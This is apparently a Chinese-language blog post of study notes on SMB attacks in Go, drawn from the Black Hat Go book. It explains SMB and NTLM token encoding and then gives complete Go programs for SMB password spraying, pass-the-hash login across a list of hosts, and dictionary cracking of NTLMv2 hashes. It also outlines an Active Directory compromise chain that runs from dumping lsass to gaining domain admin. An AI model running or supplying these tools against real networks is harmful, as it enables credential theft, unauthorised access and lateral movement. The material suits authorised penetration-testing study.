0
点赞
收藏
分享

微信扫一扫

Go-SMB

蓝莲听雨 2022-02-27 阅读 141

文章目录


SMB协议常用于windows后渗透,该协议通常用于网络共享资源,如文件、打印机和串行端口,并允许通过命名管道在分布式网络节点之间进行进程间通信。使用SysInternals的PsExec(注意带微软签名)工具可以做到远程命令执行。

另外,SMB还可以处理NTLM验证,如远程密码猜解、基于散列的身份验证(pass the hash)、SMB中继,和NBNS/LLMNR欺骗。

GO的SMB包:

  • github.com/stacktitan/smb/smb
  • github.com/blackhat-go/bhg/ch-6/smb/smb

以上两个库非官方、非标准可靠,相比之下,python倒是有pysmb库。

SMB协议比较复杂,这里至少要了解的是,运用反射在运行时检查接口数据类型,定义结构体将数据序列化、反序列化。

1. 理解SMB

  • 类似于HTTP的应用层协议;
  • 二进制协议,而HTTP是ASCII可读文本协议;
  • 版本(又叫方言,dialect)有2.0,2.1,3.0,3.0.2,3.1.1等,C/S两边要事先约定好版本,windows会选择两边均支持的最新版本(win7开始是2.1);

Token

SMB消息会包含与身份验证相关的安全令牌。身份验证机制有两种:

  • NtlmSSP,即lsass.exe, Local Security Authority Service,本地安全授权服务;
  • Kerberos

难以实现的原因:

  • 身份验证机制和SMB规范是分开的
  • 混合编码:身份验证令牌还使用了ASN.1(Abstract Syntax Notation One,抽象语法标记)编码,

相关规范:

  • MS-SMB2, 关注最多:
  • MS-SPNG,RFC 4178
  • MS-NLMP, 与NtlmSSP令牌结构以及质询-响应格式相关;
  • ASN.1

混合编码

本部分依赖的库:

  • https://golang.google.cn/pkg/encoding/asn1/
  • https://golang.google.cn/pkg/encoding/binary/

先看一个结构体:

type FOO struct{
    X int
    Y []byte
}
type MSG struct{
    A int	// binary
    B FOO	// ASN.1
    C bool	// binary
}

其中,B需要ASN.1编码,A和C则是二进制编码,这就是混合编码。像是json和xml,则编码所有字段,简单直接。

type BinaryMarshallable interface {
	MarshalBinary(*Metadata) ([]byte, error)
	UnmarshalBinary([]byte, *Metadata) error
}

元数据和引用字段

关注:

  • encoder.go, parseTags()
  • encoder.go, unmarshal,switch typev.Kind()各种case,包括struct, uint, slice及array

2. 域内密码猜解

如果测试机器是32位,记着设置一下GOARCH:

set GOARCH=386

powershell则是这样设置:

$env:GOARCH=386

源码:

package main

import (
	"bytes"
	"fmt"
	"io/ioutil"
	"log"
	"os"

	"github.com/blackhat-go/bhg/ch-6/smb/smb"
)

func main() {
	if len(os.Args) != 5 {
		log.Fatalln("Usage: main </user/file> <password> <domain> <target_host>")
	}

	// 1. read the user list line by line
	buf, err := ioutil.ReadFile(os.Args[1])
	if err != nil {
		log.Fatalln(err)
	}
	options := smb.Options{
		Password: os.Args[2],
		Domain:   os.Args[3],
		Host:     os.Args[4],
		Port:     445,
	}

	users := bytes.Split(buf, []byte{'\n'})
	for _, user := range users {
		options.User = string(user)
		session, err := smb.NewSession(options, false) // negotiate the dialect(version) and authentication, then authenticate
		if err != nil {
			fmt.Printf("[-] Login failed: %s\\%s [%s]\n",
				options.Domain,
				options.User,
				options.Password)
			continue
		}
		defer session.Close()
		if session.IsAuthenticated {
			fmt.Printf("[+] Success     : %s\\%s [%s]\n",
				options.Domain,
				options.User,
				options.Password)
		}
	}
}

普通机器:

C:\Users\starr\Desktop>main c:\Users\starr\Desktop\users.txt xxx \\starr-p
c starr-pc
[-] Login failed: \\starr-pc\administrator [xxx]
[-] Login failed: \\starr-pc\bob [xxx]
[-] Login failed: \\starr-pc\alice [xxx]
[+] Success     : \\starr-pc\starr [xxx]

域内:

C:\Users\foo\Desktop>main c:\Users\foo\Desktop\users.txt xxx \\foobar.domain dc.foobar.domain
[+] Success     : \\foobar.domain\administrator [xxx]
[-] Login failed: \\foobar.domain\bob [xxx]
[-] Login failed: \\foobar.domain\alice [xxx]

3. Pass The Hash

PTH攻击比一般AD域入侵更便捷,可以提权、横移等。

利用漏洞进行AD域入侵路线:

  1. 利用漏洞exp获得网络立足点;
  2. 提权;
  3. 从lsass提取hash或明文凭证;
  4. 尝试离线破解hash获取管理员密码;
  5. 尝试使用管理员凭证对其他主机进行身份验证,查找可能的密码重用;
  6. 反复尝试,直到拿下域管理员。

但如果使用NtlmSSP身份验证机制,即使在3、4步没能破解,也能在第5步直接使用NTLM散列进行SMB身份验证,即PTH,本质是因为PTH能使hash计算独立于质询-响应令牌计算。

NtlmSSP规范定义了两个函数:

  • NTOWFv2,相关链接:NTLM v2 Authentication | Microsoft Docs
  • CompeteResponse,它使用NTLM hash, 质询、时间戳、目标服务器名称等,生成GSS-API 令牌,相关链接:
    • GSS-API GSSAPI 介绍 通用的安全机制_whatday的专栏-CSDN博客_gssapi

源码:github.com/blackhat-go/bhg/ch-6/smb/ntlmssp

// generation of nthash has no concern with this function
// username, password, domain are not needed
func ComputeResponseNTLMv2(nthash, lmhash, clientChallenge, serverChallenge, timestamp, serverName []byte) []byte {}

pth源码:

package main

import (
	"bytes"
	"fmt"
	"io/ioutil"
	"log"
	"os"

	"github.com/blackhat-go/bhg/ch-6/smb/smb"
)

func main() {
	if len(os.Args) != 5 {
		log.Fatalln("Usage: main <target/hosts> <user> <domain> <hash>")
	}

	buf, err := ioutil.ReadFile(os.Args[1])
	if err != nil {
		log.Fatalln(err)
	}

	options := smb.Options{
		User:   os.Args[2],
		Domain: os.Args[3],
		Hash:   os.Args[4],
		Port:   445,
	}

	targets := bytes.Split(buf, []byte{'\n'})
	for _, target := range targets {
		options.Host = string(target)

		session, err := smb.NewSession(options, false)
		if err != nil {
			fmt.Printf("[-] Login failed [%s]: %s\n", options.Host, err)
			continue
		}
		defer session.Close()
		if session.IsAuthenticated {
			fmt.Printf("[+] Login successful [%s]\n", options.Host)
		}
	}
}

与猜解不同的是,option填充的字段为hash。

不过测试使用mimikatz获取ntlm后,没有成功建立会话。。。

3. 恢复NTLM密码

有些服务,比如RDP, Outlook等,不支持hash验证,必须用明文密码。这时还是需要破解hash。

源码:github.com/blackhat-go/bhg/ch-6/smb/ntlmssp, NewAuthenticatePass(), NewAuthenticateHash()

func NewAuthenticatePass(domain, user, workstation, password string, c Challenge) Authenticate {
	// Assumes domain, user, and workstation are not unicode
	nthash := Ntowfv2(password, user, domain)
	lmhash := Lmowfv2(password, user, domain)
	return newAuthenticate(domain, user, workstation, nthash, lmhash, c)
}

func NewAuthenticateHash(domain, user, workstation, hash string, c Challenge) Authenticate {
	// Assumes domain, user, and workstation are not unicode
	buf := make([]byte, len(hash)/2)
	hex.Decode(buf, []byte(hash))
	return newAuthenticate(domain, user, workstation, buf, buf, c)
}

下面是根据明文字典暴力破解hash源码:

package main

import (
	"bytes"
	"encoding/hex"
	"fmt"
	"io/ioutil"
	"log"
	"os"

	"github.com/blackhat-go/bhg/ch-6/smb/ntlmssp"
)

func main() {
	if len(os.Args) != 5 {
		log.Fatalln("Usage: main <password/dictionary/file> <user> <domain> <hash>")
	}

	hash := make([]byte, len(os.Args[4])/2)
	_, err := hex.Decode(hash, []byte(os.Args[4]))
	if err != nil {
		log.Fatalln(err)
	}

	// read plain text from dict line by line
	f, err := ioutil.ReadFile(os.Args[1])
	if err != nil {
		log.Fatalln(err)
	}

	var found string
	passwords := bytes.Split(f, []byte{'\n'})
	for _, password := range passwords {
		h := ntlmssp.Ntowfv2(string(password), os.Args[2], os.Args[3])
		if bytes.Equal(hash, h) {
			found = string(password)
			break
		}
	}
	if found != "" {
		fmt.Printf("[+] Recovered password: %s\n", found)
	} else {
		fmt.Println("[-] Failed to recover password")
	}
}

测试还是失败了,经过调试(或print大法),Ntowfv2计算出来的字符串和mimikatz提取出来的ntlm不一样…

—_—|

举报

相关推荐

0 条评论